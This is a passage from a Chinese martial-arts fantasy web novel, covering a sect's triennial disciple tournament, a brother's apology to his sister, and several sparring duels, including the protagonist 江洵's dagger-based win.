听到这个回答,正在倒酒的秦念淑手中的动作猛地一顿,原本流畅的酒水瞬间溅出几滴落在桌面上。 她那双好看的柳眉紧紧蹙起,抬起头来直视着江挽,语气略带疑惑地问道:“什么意思?难道还有其他门派参与其中?” 花岐和许青临,背后是花朝楼和相月山,两个名门正派里的掌权人为何会一同时间在一个小村子里出现?甚至还带着一大批人,这怎么看都不对劲。 “嗯,本以为当了阁主会看的更深一些,却发现并非如此。”江挽无奈的笑了一声。 就这样,两人一边喝着小酒,一边继续讨论着这件事情。 不知不觉间,夜幕已然深沉,皎洁的月光洒在庭院里,仿佛给一切都蒙上了一层银纱。 次日清晨,秦在锦洗漱完来到三阁的饭桌前,一眼便瞧见了坐那与冬苓闲聊的秦念淑。 他张了张嘴,想要对姐姐说些什么,但话到嘴边却又不知该如何开口。他只好默默地坐下,埋头吃起早饭来。 这顿饭吃得格外漫长,秦在锦时不时偷瞄一眼姐姐,心中纠结万分。 眼看着饭菜都快被吃光了,他还是没能鼓起勇气说出那句“对不起”。 其实并非是因为他不好意思向姐姐道歉,而是在内心深处,他始终认为自己并没有做错什么。 可是以往姐姐从来不会像这次一样生这么长时间的气,如果以“对不起”三个字作为和好的开场白,或许也未尝不可吧…… 等众人都赶去校场的时候,秦在锦跟在秦念淑身后,终于开了口。 “姐......姐我......” 该死,这话到嘴边怎么就说不出口了!这仨字儿也不烫嘴啊! “嘟嘟囔囔的想说什么?”秦念淑厉声道。 秦在锦将目光投向另外两位,可那二位显然没有要帮忙说话的样子,依稀能看出冬苓的口型是在同他说加油。 秦在锦深吸一口,闭上双眼,大声说道:“对不起!我那时不该那么说你!也不该那么说萧旻!我错了!以后还敢!” “臭小子!我看那一巴掌打的你还是没长记性是吧?”秦念淑说完就要抬手。 秦在锦都做好了被打的准备了,紧紧闭上双眼,可那只手却只是轻轻的落在了他的肩膀上,替他理了理衣领。 “你要相信你没错,也希望你会一直做你认为对的事情,哪怕阿姐不理解,哪怕阿姐会生气,请不要在意,也不要放弃。” “因为你是秦在锦,是我秦念淑的弟弟,所以说错话也没关系,我都会一直爱着你。” “我只是想让阿姐幸福,暮商宗不比阳春门,他们都是些心高气傲的人,我怕阿姐嫁过去受欺负。”秦在锦吸了吸鼻子,不想让眼泪留下来。 “我是谁?我可是秦念淑!我在哪都不会受欺负!”秦念淑摸了摸少年的脑袋,示意他放宽心。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!等二人都把话说开以后,江洵才走上前带着他俩去校场。 寻常弟子之间的比试通常都会选择在献岁台举行,但像这般每三年才举办一次的大规模比试时,则会将场地转移至后山的校场之中。 校场的占地面积较大,其宽敞程度足以容纳下整个献岁阁的弟子,并且还能留有相当充裕的空间用以布置客席,以便接待来自其他门派的人士入座观赛。 尽管在这江湖之上,对于献岁阁的评价是毁誉参半,但无法否认的是——今朝榜排名前十五位当中,有四位皆是出自献岁阁。 不仅如此,就连声名远扬的朱颜榜上,前十位也有着两名来自献岁阁。 瞧瞧,他们总是嘴上说着看不起献岁阁,可真到了一较高下之时,却又奈何不了一二。 江洵领着秦念淑等人来到校场之际,那里早已是人满为患。 只见正前方的席位上,端坐着主阁的方震以及一众德高望重的长老们,此外还有那些实力出众的杰出弟子。 至于其他将要参加此次比试的年轻弟子们,则整齐地站立在主阁的桌椅两侧。 校场左侧安排着另外三位阁主的席位,他们三人身后坐着不参加比试的阁中前辈,再往后瞧,站着的便是需要参加比试的弟子。 而右侧的席位,自然就是留给前来观赏的客人了,比如阳春门的秦念淑、秦在锦;相月山的冬苓;凌霄阁的蒋曌等,没错那花花公子也来凑热闹了。 楼梯入口两侧也摆了一些座位,是专门留给那些已经成功晋级的弟子坐的。 宽阔的校场上,最引人瞩目的便是位于正中央位置、早在数天之前便已搭建完成的圆形高台。 这座高台坚固而平整,乃是专门为此次弟子间的比试所准备的场地。 秦念淑领着秦在锦和冬苓来到此处后,首先同老阁主方震打了声招呼,又多寒暄了几句。 随后,她才带着二人一同前往客席就座,静静等待着比试的开始。 关于这次比试的人选确定方式,则是通过抽签来决定。由四位阁主依次从密封的箱子中抽取一张纸条。 根据规则,一场完整的比试被划分为上中下三场。 第一场展开较量的是由方震和温如玉各自抽中的弟子,第二场则是云璟及江挽抽中的弟子。 而最关键的第三场比试,则要等到前面两场结束之后,由前两场获胜的弟子再次登台一决高下。 只有能够连续赢得两场比试的人,才有资格晋级至下一轮的比拼之中。 值得一提的是,由于这种抽签决定对手的方式存在一定的随机性,所以在这场比试当中,选手们不仅需要面对来自其他阁的强劲对手,甚至还有可能会抽到自己的同门师兄弟。 如此一来,三阁这些年始终未能夺得头筹的原因也就不言而喻了。 毕竟整个三阁的人数本就不多,愿意报名参加比试的更是寥寥无几。 想要在这样激烈的竞争环境中脱颖而出并坚持走到最后,实在不是一件容易的事情。 而再看另外几阁的情况,人数多且不说,还都强制性的报名,那如此一来,就更比不过了。 而且这种抽签的法子,既看实力,也看运气。 倘若第一场就抽到一阁的傅霖,那就没必要再比下去了,简直是毫无看点。 至于输赢的判定,主要是按照以下三点来界定: 一、自己投降; 二、掉到台下; 三、击中要害。 以上满足任意一项均可分出胜负。 当然关于击中要害这一点,向来都是点到即止,很少有弟子会借由此次比试来解决个人的恩怨。 “你觉得你徒弟能挺到第几轮?”温如玉悄摸的问道江挽。 “我觉得能挺到最后一轮。” 听到二人谈话的方震冷哼一声,“这人啊,还是年轻气盛,什么都敢想什么都敢说。” “闭嘴,老不死的,问你了吗?”江挽朝坐在上位的方震翻了个白眼。 “咳!!”陈叔试图掩盖江挽那大不敬的话语,毕竟此处人多眼杂,还有不少外来的客人,但换来的是江挽的嫌弃,“你也闭嘴!” 云蘅就坐在方震后面憋笑,可她又不敢笑的太明显,愣是把这辈子爱而不得的人都想了一遍,生怕方震说她胳膊肘往外拐。 虽然她也确实胳膊肘往外拐。 “我有个问题哦。”只见秦念淑秀眉微蹙,转头看向了正安坐于自己左侧的方知许,轻声开口问道。 方知许此人虽说居住在那献岁山上,然而他至今仍未正式入阁。 若是按照亲疏远近以及常理而言,他理应被安排坐在属于三阁的位置之上,与德高望重的陈叔同桌共饮。 只是,他觉得那边戾气势头有些过盛,相较之下,还是选择坐在这相对轻松自在些的客席更为妥当、安全。 听到秦念淑的问话,方知许嘴角微微上扬,露出一抹温和的笑容,旋即优雅地做了一个“请”的手势,示意对方尽管提问。 本小章还未完,请点击下一页继续阅读后面精彩内容!只见秦念淑眨动着那双灵动的大眼睛,一脸好奇地问道:“像江挽、温如玉这样已然当上了阁主的人,是不是就再也无法成为主阁的阁主啦?” “毕竟弟子大会之中,只有最终获胜的那个人才有资格去挑战四位阁主。那么对于已经担任了小阁主的人来说,又该如何晋升?” 方知许显然未曾料到秦念淑竟会提出如此这般的问题来,先是微微一愣,紧接着忍不住轻笑出声。 那笑声犹如春日里的微风拂过湖面,泛起层层涟漪,令人闻之心旷神怡。 待笑声渐止,他方才缓声道来:“赢得弟子大会的弟子确实拥有挑战阁主的权利,同理,若哪位小阁主能够战胜前来挑战的弟子,自然也具备了继续挑战老阁主的资格。” “只不过嘛,就眼下来看,无论是江挽还是温如玉等诸位阁主,暂时都还未有此等打算。” 温如玉是个与世无争、逍遥自在的性子,他之所以会去争取一阁阁主之位,理由非常简单,无非就是想坐上那个位置后就能心安理得地过上好吃懒做的日子。 至于这二阁的云璟,则是由方震悉心培养起来的得意门生。对方震那可是毕恭毕敬、尊崇有加,连一丝一毫想要以下犯上的念头都不曾有过。 再瞧江挽,虽说手中握有幽兰令,但似乎对这阁主之位并没有表现出太多的热衷与稀罕之意。而且她平日里也极少前往校场,阁中事务都是陈叔和郜林在帮着处理。 “原来如此,受教了。”秦念淑说道。 方知许笑着点点头。 “嘶——”原本已经把头转过去的秦念淑,像是意识到了什么似的,又猛地回过头来。 只因为她总觉着刚才跟自己搭话的这人看着有些面熟。 “你?” “哦,在下方知许,江洵的老师。”方知许连忙自我介绍道。 秦念淑摆了摆手,说道:“我不是要问你姓名,我是想说咱们俩是不是在哪儿见过?怎么瞅着有些面熟呢……” 方知许修长白皙的拇指来回摩挲着杯口边缘,他微微低垂着头,嘴角挂起了一抹难以言喻的苦涩笑容,轻声说道:“见过的,许是姑娘太忙了,不记得了。” 说完,他抬起头,目光有些黯淡地看向对方。 “方知许……方……欸?我可没忘昂!本小姐的记性向来都是极好的,容我好好想一想。” 说话之人一边拍着胸脯保证自己没忘,一边蹙着眉头苦思冥想起来。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第112章 江洵江洵 就在此时,那原本正准备抽签的四人突然被一阵嘈杂声吸引了注意力。 原来是靠近楼梯处的二阁弟子们发出了一阵此起彼伏的惊呼声。 在场所有人都不约而同地将视线投向那个方向,只见来人身姿挺拔如松,气质卓然不凡。 他左手紧紧地牵着一个头戴斗笠、看不清面容的小孩儿,而其右侧跟着一位风度翩翩的公子。 “老天奶呀,我该不会是看花眼了吧!那人不是沈亦行吗???” 其中一名弟子瞪大眼睛,难以置信地开口喊道。 要知道,这沈亦行可是今朝榜上排名第一的人物。 他怎么会出现在他们献岁阁的校场上?难不成是专程来看弟子大会的? 那不能吧,这种级别的高手来看一群小菜鸟比试?? 那岂不是和看一群小鸡仔在那儿互相啄来啄去一样无趣么? “他身旁站着的那位我倒是曾经见过,似乎是来自什么一元教还是一元殿之类的地方。”又有一名弟子指着那名陌生男子说道。 “一元教?从来都没有听说过这个教派啊。”旁边立即有人附和道,满脸疑惑之色。 “那人是教主肖然吧?好像是这两年才开始有所动作的,而且全教上下都只过低级任务,惜命的紧!” “管他呢!有谁知道沈亦行牵着的那小娃娃是谁吗??” “退一万步来说,我也不是没有过那个年纪的时候,就不能牵我的手吗?阁主欠我一个沈哥!!!!” “你一爷们凑什么热闹?” “就凑就凑!!!” 一时之间众说纷纭,整个校场都是弟子的讨论声。 再瞧那三人,宛如闲庭信步一般,不紧不慢地向前行进着。一直走到方震跟前时,他们方才止住脚步。 方震本人挑起了眉头,心中暗自思忖:这小子难不成是专门跑来砸场子的不成? 只见为首之人向着方震恭恭敬敬地行了一个标准的礼数,态度不卑不亢,缓声道:“久闻贵阁今日举办弟子大会,晚辈对此早有所耳闻。今日恰巧有空,便冒昧前来,不知方阁主能否赐晚辈一个座位?” 方震听言,脸上露出一丝微笑,回应道:“沈公子这话可就太客气啦!此次不过是我阁内部弟子间的相互切磋交流而已,若有不足之处,还望沈公子多多包涵,切莫取笑啊。” 说罢,他的目光转向站在沈亦行身旁的另一位男子,开口问道:“不知这位小友来自何方门派?” 被问到的男子微微一笑,同样恭敬地施礼答道:“晚辈乃是一元宗——肖然,今日有幸得见方阁主尊容,实乃晚辈之荣幸。” 方震虽然没听过什么一元宗,但还是作出了一副恍然大悟的表情,热情的安排着他们入座。 等那三人都落座后,四位阁主继续方才被打断的抽签。 第一场抽签的结果出来了,所抽中的都是二阁的弟子,云璟看到名单后,脸都要气黑了。 温如玉见状赶忙走上前来,满脸堆笑地安慰道:“云兄,莫要如此生气嘛。不妨换个角度想想,不管这场比试最终是谁输谁赢,进入下一轮的总归是你们二阁的弟子。” 然而,云璟却丝毫不领情,只是冷冷地哼了一声,嘲讽道:“温兄倒是挺会自我安慰,不过不妨温兄也猜猜看,若是你那好徒弟赢得了第一,这要挑战的人是不是你呢?” 听到这话,温如玉脸上的笑容顿时僵住了,连忙摆手说道:“诶诶诶!云兄,这话可不兴说啊!比赛尚未开始,怎么就断言傅霖会夺得头筹呢?这话若是让旁人听去了,指不定还以为这里面有什么黑幕呢!” 话虽如此,可温如玉的嘴角却抑制不住地上扬着,快要咧到耳根后面去了。 因为他心里清楚得很,在整个二阁之中,能够与傅霖过上几招的恐怕也只有乔诀一人而已。 只可惜,乔诀早在三年之前就已经败在了傅霖的手下。 再转头看向三阁这边,人数本来就少得可怜,仅有两人参赛。 其中段千寒实力虽然不错,可拼尽全力或许也只能勉强挤进前十之列。 至于江洵嘛,虽说不容小觑,甚至有可能一路过关斩将冲入前五名,但要说夺得第一名,那才就真有黑幕了。 一想到这,温如玉深深叹了口气。 倘若傅霖能一直待在献岁阁,那让让他,阁主之位给他玩玩也未尝不可。 可那人总归是要离开的。 “想什么呢?”傅霖看到温如玉叹气以后,又皱起了眉头。 “想我用哪一招儿赢你啊。” 傅霖冷哼一声,“且想着吧,留给师父的时间可不多了。” 徐松昊在听到自己名字被喊到的时候,顿时慌了神儿。 他本就不想参加弟子大会,倒不是他人淡如菊,而是他人菜如鸡,上去就是白白给别人送晋升机会的。 要不还是直接投降吧?用什么理由呢?要不说自己今日身子不太好? 不行,这理由太拙劣了。 那现在吃毒药还来得及吗?可元春就在那候着呢,太毒的药他不敢吃,不毒的药元春就能解。 本小章还未完,请点击下一页继续阅读后面精彩内容!苍了天了!到底是谁创建的弟子大会??? 有没有问过弟子本人愿不愿意啊??? 他为何不是三阁人?三阁的弟子怎么不强制参加? 况且三阁还有他的灵犬呢!虽然现在改名了。 还有江洵那什么品味,取得是什么名字?难听死了!!! 一点也配不上他的灵犬! 徐松昊一边在内心疯狂吐槽,一边就鬼使神差的被乔决带到了台上。 等他回过神儿来的时候,对面已经站了一个人。 “师兄。”只见那少年一脸恭敬之态,向着徐松昊行了一个标准的礼节。 徐松昊看着眼前这个面容青涩、眼神清澈的少年,心中暗自思忖起来。 他对这个小师弟有点印象,好像是去年刚刚加入二阁的新人,但具体叫什么名字来着?一时想不起来了。 “嗯。”徐松昊微微颔首,装作一副老成持重的模样,淡淡地应了一声。 毕竟这次可是一场正经八百的比试较量,按照规定,双方都可以携带佩剑上阵。 所以徐松昊想也没想,手臂一挥,口中轻喝一声,眨眼间正则剑被召唤而出。 而另一边,那小师弟因为年龄尚幼,尚未到达能够佩剑的年岁。 乔诀身为二阁的大师兄挺身而出,毫不犹豫地将自己的佩剑——沉影,递到了小师弟身旁,并轻声叮嘱道:“小心使用。” 看到这一幕,徐松昊不禁撇了撇嘴,酸溜溜地嘟囔道:“啧,师兄可真是偏心呐!怎得不见你借剑给我呢?” 此刻,乔诀听到徐松昊这番抱怨,抬起头来,脸上露出一抹笑容,回应道:“那要不你们两个换换?” 徐松昊闻言,把头摇得跟拨浪鼓似的,连忙摆手拒绝:“我才不换呢!你的剑那么重,我根本用不习惯!” 边叙伸手接过了沉影剑,然后十分有礼貌地朝着乔诀深鞠一躬,真诚地道了声谢:“谢谢师兄。” 恰在此时,一阵激昂的鼓声骤然响起,如同战鼓催征一般,瞬间点燃了场上紧张激烈的气氛。 比赛开始…… 徐松昊哪管什么尊老爱幼!他连个招呼都不打,眼中闪过一丝狠厉,猛地一挥手中长剑,直直地朝着边叙刺了过去。 边叙反应极快,身子一侧,惊险万分地躲开了这致命一击。 再看看乔诀借给边叙的那柄剑,果然如同徐松昊所说的那般沉重无比。 此刻,边叙不禁开始怀疑起大师兄来:“大师兄莫不是在框我?给我这样一把如此沉重的剑,我还怎么赢得比试?” 不过,当边叙不经意间与乔诀对视时,却从对方那温和的目光中读出了别样的意味。 那眼神似乎是充满了信任和鼓励,仿佛乔诀真的相信边叙能够驾驭得了这把重剑。 此时,场上的两人你来我往,剑影交错。 边叙所施展的剑法刚猛有力,挥剑时带有雷霆万钧之势,十分注重力量的瞬间爆发。 而徐松昊的剑法则轻盈灵活,宛如翩翩起舞的蝴蝶,巧妙地寻找着边叙剑法中的破绽,伺机发动致命一击。 一时间,台子上剑光闪烁,剑气纵横,两人的身影在剑光中交错,让人眼花缭乱。 台下的众人目不转睛的盯着台上那俩人,二阁还有不少新入门的小弟子在为徐松昊加油呐喊。 边叙长时间挥舞重剑,手臂传来阵阵的酸痛感,刚想拉开距离喘口气的时候,徐松昊伺机而动,正则如游龙般舞动,剑意连绵不绝地向边叙腰侧斩去。 可眼前的人却不退反进,竟选择正面迎击,徐松昊还在纠结要不要收剑的时候,边叙右手挥剑,沉影发出阵阵呼啸的风声,一击挡下了徐松昊的正则。 与此同时,伸出空闲的左手,化掌为刃劈向了徐松昊的脖侧,而快要碰到时又瞬间停下。 “多谢师兄承让。” 边叙说罢,便规规矩矩地向后退去,再次施了一礼。 鼓声响起,意味着这一场是边叙赢了。 乔诀并没有急着去接沉影,反倒是稳稳当当地走到了徐松昊的跟前。 他目光如炬,直直地盯着对方,一字一句地说道:“倘若你心甘情愿就这般继续荒废时光、不思进取,那待到下一届弟子大会,依旧还会有新的师弟对你说那句‘承让’。” 徐松昊在边叙险些伤及自己性命要害的时候未曾落泪;听到象征比赛结束的鼓声响起之际也不曾哭泣。 然而此时此刻,在听闻乔诀这番话后,心中却是涌起一股难以言喻的酸涩之感,眼眶瞬间湿润起来。 可是最终,徐松昊还是强忍着内心的波澜,用力地吸了吸鼻子,声音略微有些哽咽地回应道:“我……我知道了。” 见此情形,乔诀并未再过多劝说于他,而是转身走向边叙,右手接住沉影。 随后,他又伸出左手,无比轻柔地抚摸了一下边叙的头顶,微笑着对其夸赞道:“做得很好。” 整整一天下来,已经看了几十场激烈的比试,可居然没有任何一人抽中三阁。 这章没有结束,请点击下一页继续阅读!温如玉忍不住翻了个大大的白眼,满脸狐疑地高声喊道:“我说,你们三阁到底有没有弟子报名参加啊???” 眼看今天的比试都要结束了,可淘汰出局的全都是他们主阁和一阁、二阁的弟子。 三阁纯粹就是跑来这里看热闹的??? “有啊,这不就来了。” 江挽漫不经心地挥动着手中那张小小的纸条,只见纸条上行云流水地写着“三阁——江洵”四个大字。 此时,江洵即将面对的对手乃是来自一阁的梅望,这位梅望与许廷宽同一届入门,算起来只是个初出茅庐的小师弟罢了。 “啧啧啧,瞧瞧这对阵安排……我说,要不你们干脆直接认输投降得了。” 江挽脸上挂着一抹狡黠的笑容,毫不掩饰自己对这场比赛结果的看法。 毕竟以江洵目前的实力去和一个小师弟交手,明眼人一看就知道这简直就是在以大欺小。 “哎?你这话说得可就不对!你没看第一场比试中的边叙吗?他同样也是个小师弟,但人家照样能够连胜两场,成功晋级下一轮。” 温如玉显然不甘心就这样被江挽轻视,连忙举出实例来反驳她。 “行啦,去吧。” 江挽懒洋洋地将身子往后倚靠过去,然后朝着江洵扬了扬下巴,示意他上场应战。 原本在场观战一整天的众人都已经感到些许疲倦不堪,然而就在他们听到江洵这个名字的瞬间,瞬间变得精神起来。 这可是三阁!!! 这可是三阁的弟子!!! 这可是三阁主的亲传弟子!!! “呦!洵儿上场了。” 秦念淑瞬间坐正了身子,方才她都快睡着了。 不止她,客席上另外一些人也都纷纷往台上投去了打量的目光。 这半年来,江洵的名字虽没有在江湖上声名远扬,但也算是激起一层涟漪。 这仨人不停的接任务就算了,甚至还从未失手过。 有些门派的弟子是单纯的过来参观,而有一些却是为了江洵而来。 傅霖那头倔驴他们是挖不走了,但是挖走刚冒头的江洵也不是没可能。 “江洵江洵!直上青云!!!” 秦在锦猛地站起身一嗓子喊了出去,引得大家伙儿都往他这边看。 江洵瞬间想找个地缝钻进去,可他娘的这台子修的也忒儿好了!!愣是没有一点儿缝隙!!! 他用眼神示意秦在锦坐下去,尽管那人笑着闭嘴了,可坐在他身旁的冬苓也没放过他。 “洵哥洵哥,势在必得!” 好的,这悬着的心,彻底死了。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第113章 不养弃子 等江洵同梅旺都站在了台上以后,鼓声响起。 也不知梅旺用的是谁的佩剑,跟他的气质并不搭。 江洵轻轻甩动右手手腕,匕首从袖中悄然滑落。 “嚯!你这徒弟。”温如玉一看江洵那熟悉的动作,就知道是跟江挽学的。 “师兄这是......看不起我?”梅望瞥了一眼江洵手中的匕首,不禁皱起了眉头。 江洵笑了一声,说道:“没有的事,最近习惯了用匕首。” 鬼才信你!可他心里虽这么想着,嘴上却没那个胆量说出来。 梅望右手手持长剑,左手捏诀,一个箭步冲向江洵,江洵侧身闪过。 那人见一击未中,转身再次发起攻势,江洵不慌不忙,仅用匕首就轻松化解了梅旺的攻击。 梅旺见状连忙向后退去,与江洵拉开距离,思考着对策。再抬起头时,似乎有了良策,只见那人剑法一变,招式变得更加凌厉,在靠近江洵几步之内,长剑一挥,一道剑意朝着江洵飞去。 本以为这一招能伤到江洵,可眼前人却将手中的匕首朝着自己扔了过来,就在梅旺歪头躲避的瞬间,江洵仅仅只是用手背就弹开了他的长剑。 他还没有来得及震惊,就见那人露出了一抹笑意,身形如鬼魅一般闪到自己跟前儿来,右手随即伸到了他的耳侧。 梅望只觉得左耳一阵寒意传来,在他自己还没发觉是什么东西的时候,鼓声响起。 这把匕首的使用方法,乃是他经过深思熟虑之后,从瑶卿的银环那获取了灵感。 七七四十九天里,日日都需将自身灵力注入到匕首的刀柄之上。 如此这般作为,目的只有一个——让这把匕首能够真正认可并臣服于其主人。 一旦成功,那么当这把匕首如离弦之箭一般飞速射出一段距离之后,它仍能准确无误地按照原来的路线飞回主人的手中。 这其中对于时机的把握可谓是至关重要。 倘若出手过早哪怕仅仅只是一瞬之间,以梅望敏锐的感知能力,极有可能会察觉到这一攻击动作;但要是稍微迟滞一瞬,那锋利无比的匕首就很有可能直接刺穿梅望的耳朵。 他的第一场比试,是不想见血的。 因此他在梅望的注意力稍有分散之际,迅速行动起来,瞬间移动到梅望身前,将已经飞射而出的匕首稳稳收回。 其实,梅望败在江洵手下倒也并非完全出乎众人意料之外。毕竟论及实力与经验,江洵都要略胜一筹。 不过,令人感到惊喜的是江洵此次使出的诡异刺杀技巧,实在是让人眼前为之一亮。 方才面对梅望之时,江洵始终保持着一副气定神闲、从容不迫的师兄风范。 可当他转过身来面向江挽的时候,却又换了副表情。 只见少年嘴角微微上扬,露出几颗洁白且排列得整齐的牙齿,笑容满面地朝着江挽望去。 那副模样既带着几分故意讨好的乖巧劲儿,又隐隐流露出些许因为刚刚获胜而产生的得意之情。 一阵轻柔的微风吹过,轻轻拂动起他的衣角。就连束在头顶的发带也仿佛受到了风的召唤,伴随着那一头乌黑亮丽的青丝一同随风摇曳。 不变的依旧是那双清澈如水的眼眸,还有每每望向她时那份发自内心的真诚。 “我徒弟如何?”江挽问道,她可没忘记方才温如玉提了句“你这徒弟……” “像极了当年的你啊。”温如玉看着台上的江洵不禁感慨道。 他们二人在某些方面如出一辙,骨子里皆流淌着不屈的血液,其剑意更是张狂无比、肆意张扬。 一个笑里藏刀,一个绵里藏针。 细细品味之下,两人之间还是有着细微的差异。 江挽对人际交往毫无兴趣,出门做任务时,浑身上下散发着一种“生人勿近”的气息。 特别是几年前在献岁台上与众人比试的那个阶段,那种对旁人的厌恶之情被她展现得淋漓尽致,似乎在场无一人能入得了她的法眼。 相较而言,江洵则显得温和许多。 尽管在同人比试时也是一脸冷漠,但他出招时却相当克制和收敛。那种感觉既像是忍耐,又像是有所顾忌地自我约束。 不得不承认,如今的江洵已全然不同往昔。 那个曾经死气沉沉、毫无生机的少年,如今已然脱胎换骨,甚至连萦绕在他周身的阴霾之气也都消散无踪。 他被江挽照料的很好。 “我的棋局,不养弃子。” 江挽清冷的声音响起。 这话虽然表面上是对着温如玉所言,但她的目光却自始至终都牢牢锁定在江洵身上。 站在一旁耳力极佳的傅霖,自然也将这番话尽收耳底。 刹那间,他满脸惊愕,难以置信地转头望向江挽,揣测着她此话背后意图。 这人在说什么? 她把江洵当什么了?? 棋子?? 出于敏锐的直觉,江挽忽然感觉到来自右后方的一股充满敌意的目光正紧紧地盯着自己。 本小章还未完,请点击下一页继续阅读后面精彩内容!她微微侧过头去,目光正好与傅霖的视线交汇在一起。 江挽轻轻挑起一侧眉毛,眼神中透露出一丝疑惑和挑衅,仿佛在用无声的语言质问道:“如何?” 而此时的傅霖原本想要开口询问些什么,可他眼角的余光瞥见了江洵急匆匆跑来的身影。 那人步伐矫健,一路小跑而来,很快就来到了跟前儿,并迅速蹲下身子,满脸笑容地凑到江挽身旁关切地问道:“怎么样?” 江挽嘴角微扬,轻声回应道:“很好。” 听到这个回答,江洵笑得愈发灿烂,连忙附和道:“师父说好那便是好。” 傅霖将这一切看在眼里,心中不禁涌起一阵莫名的烦躁情绪。 江洵这人虽说表面看起来单纯无害,但实际上心思缜密、心眼颇多,平日里对谁都存有几分疑心,生怕被人算计。 可唯独面对他这位师父时,却是毫无防备之心,完全信任有加。 傅霖也不是没有提醒过江洵,让他多留个心眼儿,别太轻易相信江挽。 但换来的结果是江洵不但不听劝,反而还会跟他急眼。 想到这里,傅霖无奈地摇了摇头,不再理会他们二人,将目光移向了别处。 当夕阳西下,橘红色的余晖逐渐消散在天边之后,今日最后的一场比试终于缓缓落下了帷幕。 献岁阁拢共不过六百多位弟子,此番参与竞赛的弟子数量接近五百之多。 经过一整天的角逐,今天所参加比试的弟子也只是报名人数的一半。 像三阁的段千寒,至今尚未被抽中上场。而另一个弟子江洵,已经成功晋级,准备后日的比赛。 相比之下,来自另外两阁以及主阁的心情就显得不那么轻松愉快了。 虽说他们之中也不乏顺利晋级者,但总体而言,惨遭淘汰的人数显然要多出不少。 正所谓几家欢乐几家愁啊! 眼看着已到了该享用晚膳的时候,献岁阁的弟子自然是各自归家准备用餐。 但对于那些安坐于客席之上的贵客们来说,则另有一番安排。 倘若他们在此处有相熟的友人,便可与友人一道回去用膳,也就是“蹭饭”! 若是孤身前来,没有熟识之人,那么就由云蘅姑娘引领着前往主阁用膳。 这不,那蒋曌一瞅见机会,立马眼疾手快地抱住了秦在锦和冬苓的胳膊。 跟着这二位,难道他们还能少自己一口饭吃? 他们可是在罗浮镇有着过命的交情! 与此同时,因为与秦念淑关系颇为要好的缘故,沈亦行毫不犹豫地带着孩子跟着她走去三阁。 谁曾想,那个一直没开口说话的肖然此刻也霍然站起身来,二话不说便跟上了他们的脚步,一同朝着三阁走去。 “你们很熟吗?”秦念淑瞥了眼身后的肖然,向沈亦行悄声问道。 “不熟。” “我看你们一同来的,还以为你二人事先商量好的呢。” 秦念淑并不打算现下就问花岐的事,一是人多眼杂,而是就算她问了,沈亦行也未必会老老实实地回。 沈亦行看了秦念淑一眼,总觉得这人今日似乎总是会有意无意的看向他,那怀疑的眼神让他感到不舒服,可他又没有什么实质性的证据。 “山脚下撞见的。” 秦念淑躲开了沈亦行投来的视线,低头看向那个带着斗笠、包的严严实实的小娃娃。 “哪来的孩子?” “捡的。” 秦念淑听到这个回答,冷哼一声,“不愿意说就算了。” 这么离谱的理由,谁信?? 她看着很好骗? 于是,四人一路无话的来到了三阁。 肖然远远地便瞧见了端坐在院子中央正与弟子交谈着的江挽,只见她一袭素衣,长发如瀑般垂落于肩后,微风拂过,轻轻扬起几缕发丝。 肖然脚下的步伐不自觉地加快了几分,待到走近那人身前时才堪堪停下。 那位弟子见到有客来访,很识趣地止住了话头,向江挽施礼道谢之后,便转身离去了。 江挽抬眸淡淡地瞥了一眼肖然,开口问道:“何事?” 肖然却是脸上露出一副理所应当的神情,随口答道:“自然是来吃饭的呀!” 未等江挽回应,肖然紧接着又补上一句:“你总不至于连顿饭都不肯管我吧?” 恰巧路过二人身边的沈亦行和秦念淑将这番对话尽收耳底。 秦念淑面露疑惑之色,转头望向身旁的沈亦行,轻声问道:“这人究竟是什么来历?” 而另一边,江挽听闻此言,沉默片刻后,方才再次开口问道:“沈峥渡可晓得你来此处之事?” “那是自然,正是他遣我前来的。”肖然不假思索地回答道。 江挽并未再多言,食指一下又一下地轻轻敲击着身下的石板桌面。 不知何时,一片枯黄的树叶从枝头飘落而下,恰好落在了江挽的肩头,她却仿若未觉,依旧自顾自地敲着桌子。 就在肖然想要伸出手帮她拿掉落在肩头的东西时,江挽瞬间侧过头来,目光如箭般直直地射向了他。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“让你动了吗?”她的声音冰冷得没有一丝温度,让那人不寒而栗。 肖然伸出去的手就这样硬生生地停在了半空中,一时间竟不知该如何动作。 又过了一会儿,他缓缓地把手收了回来,垂放在身体两侧。 肖然心里很清楚,江挽绝对不是在开玩笑,如果那只手真碰到了她的肩膀,恐怕这时候已经不在自己胳膊上了。 “抱歉,下次不会了。”肖然低着头,语气轻柔地说道。 江挽的视线已经从肖然身上移开,转而看向了刚刚从厨房里面飞奔而出、嘴里还叼着一只大鸡腿正吃得津津有味的小娃娃身上。 “赵玉洲!”江挽提高了音量喊出了他的名字。 听到呼喊声的赵玉洲先是一愣,随即将手中剩下的鸡腿赶紧藏到了背后,然后迈着小短腿一路小跑来到了江挽面前。 “姐姐……”赵玉洲怯生生地叫了一声,同时小心翼翼地观察着江挽的脸色。 江挽看到他这副模样,不由得笑了起来。 她伸手拿起一块干净的帕子,轻轻地擦拭掉了赵玉洲嘴角残留的油渍,温柔地说道:“乖,带着这几位远道而来的客人,去吃饭。” “好嘞!”只听一声清脆响亮的回应响起,赵玉洲如同一只欢快的小兔子一般,一蹦一跳地率先走到了几人的前头。 不仅如此,这个机灵鬼儿还时不时地回过头来,看看是否有人没有跟上来。 此时,江洵和其他几个人早已在那张宽大的饭桌前坐着闲聊。 阁主尚未到来,众人都未率先动筷。 只见一个小小的身影大摇大摆地走了进来,赵玉洲昂首挺胸,迈着六亲不认的步伐,颇有几分大人模样。“姐姐让你们先吃,不用等她啦!” 话音未落,坐在一旁的瑶卿瞬间瞪大了眼睛,二话不说,伸手抓起一只勺子便朝着赵玉洲狠狠地砸了过去。 嘴里还嘟囔着:“这小子真是越来越无法无天,恃宠而骄了,说的话越发没大没小。” 不过,赵玉洲显然身手敏捷,只见他嘻嘻一笑,身子轻轻一侧,便轻而易举地躲开了飞来的勺子。 紧接着,他像个没事人一样,快步上前,捡起地上的勺子,仔仔细细地擦拭干净后,双手捧着递到了瑶卿的面前,脸上依旧挂着那副讨人喜欢的笑容。 看到这一幕,江洵忍不住开口问道:“师父不吃吗?” 赵玉洲听到问话,跑到自己的专属座位旁,一屁股坐了上去。 